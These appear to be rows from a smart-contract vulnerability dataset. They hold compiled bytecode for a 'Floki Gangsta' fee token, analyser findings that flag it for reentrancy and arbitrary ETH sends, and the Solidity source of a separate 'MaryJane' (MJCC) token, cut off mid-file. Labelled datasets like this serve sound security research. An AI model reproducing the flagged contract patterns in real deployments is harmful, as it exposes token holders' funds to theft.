1806040525081019061086591906128a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c757600080fd5b505afa1580156108db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ff91906128a4565b6040518363ffffffff1660e01b815260040161091c929190612d8f565b602060405180830381600087803b15801561093657600080fd5b505af115801561094a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e91906128a4565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109f730610dec565b600080610a02610f90565b426040518863ffffffff1660e01b8152600401610a2496959493929190612de1565b6060604051808303818588803b158015610a3d57600080fd5b505af1158015610a51573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a769190612a74565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b79929190612db8565b602060405180830381600087803b158015610b9357600080fd5b505af1158015610ba7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcb9190612a1a565b5050565b60006009905090565b610be061125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612f5f565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610c9261125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690612f5f565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb61125e565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b6000479050610de981611c54565b50565b6000610e36600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4f565b9050919050565b610e4561125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec990612f5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f476c6f6b69000000000000000000000000000000000000000000000000000000815250905090565b600061100a61100361125e565b8484611431565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661105561125e565b73ffffffffffffffffffffffffffffffffffffffff161461107557600080fd5b600061108030610dec565b905061108b81611dbd565b50565b61109661125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612f5f565b60405180910390fd5b60008111611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f1f565b60405180910390fd5b611195606461118783683635c9adc5dea0000061204590919063ffffffff16565b6120c090919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111cc9190612fff565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90612edf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114249190612fff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612f9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612e7f565b60405180910390fd5b60008111611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f7f565b60405180910390fd5b61155c610f90565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ca575061159a610f90565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2d57600f60179054906101000a900460ff16156117fd573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117fc57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174661125e565b73ffffffffffffffffffffffffffffffffffffffff1614806117bc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a461125e565b73ffffffffffffffffffffffffffffffffffffffff16145b6117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f290612fdf565b60405180910390fd5b5b5b60105481111561180c57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118b05750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118b957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119645750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ba5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119d25750600f60179054906101000a900460ff165b15611a735742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2257600080fd5b601e42611a2f9190613135565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7e30610dec565b9050600f60159054906101000a900460ff16158015611aeb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b035750600f60169054906101000a900460ff165b15611b2b57611b1181611dbd565b60004790506000811115611b2957611b2847611c54565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bde57600090505b611bea8484848461210a565b50505050565b6000838311158290611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f9190612e5d565b60405180910390fd5b5060008385611c479190613216565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca46002846120c090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ccf573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d206002846120c090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d4b573d6000803e3d6000fd5b5050565b6000600654821115611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90612ebf565b60405180910390fd5b6000611da0612137565b9050611db581846120c090919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df557611df46133eb565b5b604051908082528060200260200182016040528015611e235781602001602082028036833780820191505090505b5090503081600081518110611e3b57611e3a6133bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128a4565b81600181518110611f2957611f286133bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611266565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff495949392919061301a565b600060405180830381600087803b15801561200e57600080fd5b505af1158015612022573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561205857600090506120ba565b6000828461206691906131bc565b9050828482612075919061318b565b146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac90612f3f565b60405180910390fd5b809150505b92915050565b600061210283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612162565b905092915050565b80612118576121176121c5565b5b6121238484846121f6565b80612131576121306123c1565b5b50505050565b60008060006121446123d3565b9150915061215b81836120c090919063ffffffff16565b9250505090565b600080831182906121a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a09190612e5d565b60405180910390fd5b50600083856121b8919061318b565b9050809150509392505050565b60006008541480156121d957506000600954145b156121e3576121f4565b600060088190555060006009819055505b565b60008060008060008061220887612435565b95509550955095509550955061226686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122fb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234781612545565b6123518483612602565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ae9190612fff565b60405180910390a3505050505050505050565b6000600881905550600f600981905550565b600080600060065490506000683635c9adc5dea000009050612409683635c9adc5dea000006006546120c090919063ffffffff16565b82101561242857600654683635c9adc5dea00000935093505050612431565b81819350935050505b9091565b60008060008060008060008060006124528a60085460095461263c565b9250925092506000612462612137565b905060008060006124758e8787876126d2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bf0565b905092915050565b60008082846124f69190613135565b90508381101561253b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253290612eff565b60405180910390fd5b8091505092915050565b600061254f612137565b90506000612566828461204590919063ffffffff16565b90506125ba81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126178260065461249d90919063ffffffff16565b600681905550612632816007546124e790919063ffffffff16565b6007819055505050565b600080600080612668606461265a888a61204590919063ffffffff16565b6120c090919063ffffffff16565b905060006126926064612684888b61204590919063ffffffff16565b6120c090919063ffffffff16565b905060006126bb826126ad858c61249d90919063ffffffff16565b61249d90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126eb858961204590919063ffffffff16565b90506000612702868961204590919063ffffffff16565b90506000612719878961204590919063ffffffff16565b9050600061274282612734858761249d90919063ffffffff16565b61249d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061276e612769846130b4565b61308f565b905080838252602082019050828560208602820111156127915761279061341f565b5b60005b858110156127c157816127a788826127cb565b845260208401935060208301925050600181019050612794565b5050509392505050565b6000813590506127da81613735565b92915050565b6000815190506127ef81613735565b92915050565b600082601f83011261280a5761280961341a565b5b813561281a84826020860161275b565b91505092915050565b6000813590506128328161374c565b92915050565b6000815190506128478161374c565b92915050565b60008135905061285c81613763565b92915050565b60008151905061287181613763565b92915050565b60006020828403121561288d5761288c613429565b5b600061289b848285016127cb565b91505092915050565b6000602082840312156128ba576128b9613429565b5b60006128c8848285016127e0565b91505092915050565b600080604083850312156128e8576128e7613429565b5b60006128f6858286016127cb565b9250506020612907858286016127cb565b9150509250929050565b60008060006060848603121561292a57612929613429565b5b6000612938868287016127cb565b9350506020612949868287016127cb565b925050604061295a8682870161284d565b9150509250925092565b6000806040838503121561297b5761297a613429565b5b6000612989858286016127cb565b925050602061299a8582860161284d565b9150509250929050565b6000602082840312156129ba576129b9613429565b5b600082013567ffffffffffffffff8111156129d8576129d7613424565b5b6129e4848285016127f5565b91505092915050565b600060208284031215612a0357612a02613429565b5b6000612a1184828501612823565b91505092915050565b600060208284031215612a3057612a2f613429565b5b6000612a3e84828501612838565b91505092915050565b600060208284031215612a5d57612a5c613429565b5b6000612a6b8482850161284d565b91505092915050565b600080600060608486031215612a8d57612a8c613429565b5b6000612a9b86828701612862565b9350506020612aac86828701612862565b9250506040612abd86828701612862565b9150509250925092565b6000612ad38383612adf565b60208301905092915050565b612ae88161324a565b82525050565b612af78161324a565b82525050565b6000612b08826130f0565b612b128185613113565b9350612b1d836130e0565b8060005b83811015612b4e578151612b358882612ac7565b9750612b4083613106565b925050600181019050612b21565b5085935050505092915050565b612b648161325c565b82525050565b612b738161329f565b82525050565b6000612b84826130fb565b612b8e8185613124565b9350612b9e8185602086016132b1565b612ba78161342e565b840191505092915050565b6000612bbf602383613124565b9150612bca8261343f565b604082019050919050565b6000612be2601a83613124565b9150612bed8261348e565b602082019050919050565b6000612c05602a83613124565b9150612c10826134b7565b604082019050919050565b6000612c28602283613124565b9150612c3382613506565b604082019050919050565b6000612c4b601b83613124565b9150612c5682613555565b602082019050919050565b6000612c6e601d83613124565b9150612c798261357e565b602082019050919050565b6000612c91602183613124565b9150612c9c826135a7565b604082019050919050565b6000612cb4602083613124565b9150612cbf826135f6565b602082019050919050565b6000612cd7602983613124565b9150612ce28261361f565b604082019050919050565b6000612cfa602583613124565b9150612d058261366e565b604082019050919050565b6000612d1d602483613124565b9150612d28826136bd565b604082019050919050565b6000612d40601183613124565b9150612d4b8261370c565b602082019050919050565b612d5f81613288565b82525050565b612d6e81613292565b82525050565b6000602082019050612d896000830184612aee565b92915050565b6000604082019050612da46000830185612aee565b612db16020830184612aee565b9392505050565b6000604082019050612dcd6000830185612aee565b612dda6020830184612d56565b9392505050565b600060c082019050612df66000830189612aee565b612e036020830188612d56565b612e106040830187612b6a565b612e1d6060830186612b6a565b612e2a6080830185612aee565b612e3760a0830184612d56565b979650505050505050565b6000602082019050612e576000830184612b5b565b92915050565b60006020820190508181036000830152612e778184612b79565b905092915050565b60006020820190508181036000830152612e9881612bb2565b9050919050565b60006020820190508181036000830152612eb881612bd5565b9050919050565b60006020820190508181036000830152612ed881612bf8565b9050919050565b60006020820190508181036000830152612ef881612c1b565b9050919050565b60006020820190508181036000830152612f1881612c3e565b9050919050565b60006020820190508181036000830152612f3881612c61565b9050919050565b60006020820190508181036000830152612f5881612c84565b9050919050565b60006020820190508181036000830152612f7881612ca7565b9050919050565b60006020820190508181036000830152612f9881612cca565b9050919050565b60006020820190508181036000830152612fb881612ced565b9050919050565b60006020820190508181036000830152612fd881612d10565b9050919050565b60006020820190508181036000830152612ff881612d33565b9050919050565b60006020820190506130146000830184612d56565b92915050565b600060a08201905061302f6000830188612d56565b61303c6020830187612b6a565b818103604083015261304e8186612afd565b905061305d6060830185612aee565b61306a6080830184612d56565b9695505050505050565b60006020820190506130896000830184612d65565b92915050565b60006130996130aa565b90506130a582826132e4565b919050565b6000604051905090565b600067ffffffffffffffff8211156130cf576130ce6133eb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314082613288565b915061314b83613288565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131805761317f61335e565b5b828201905092915050565b600061319682613288565b91506131a183613288565b9250826131b1576131b061338d565b5b828204905092915050565b60006131c782613288565b91506131d283613288565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320b5761320a61335e565b5b828202905092915050565b600061322182613288565b915061322c83613288565b92508282101561323f5761323e61335e565b5b828203905092915050565b600061325582613268565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132aa82613288565b9050919050565b60005b838110156132cf5780820151818401526020810190506132b4565b838111156132de576000848401525b50505050565b6132ed8261342e565b810181811067ffffffffffffffff8211171561330c5761330b6133eb565b5b80604052505050565b600061332082613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133535761335261335e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61373e8161324a565b811461374957600080fd5b50565b6137558161325c565b811461376057600080fd5b50565b61376c81613288565b811461377757600080fd5b5056fe466c6f6b692047616e67737461207c20742e6d652f666c6f6b6967616e6773746145524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207937ad14675baf36fa7f196b29377f96d7bce88268a71499e0e5fcdbf1e9560864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,153 |
0xc4977b9801ad9d0442c60e5f578fd9f1bf1db018
|
pragma solidity ^0.4.24;
/*
* Creator: MJCC (MaryJane)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* MJCC token token smart contract.
*/
contract MJCCToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 7100000 * (10**2);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function MJCCToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "MaryJane";
string constant public symbol = "MJCC";
uint8 constant public decimals = 2;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
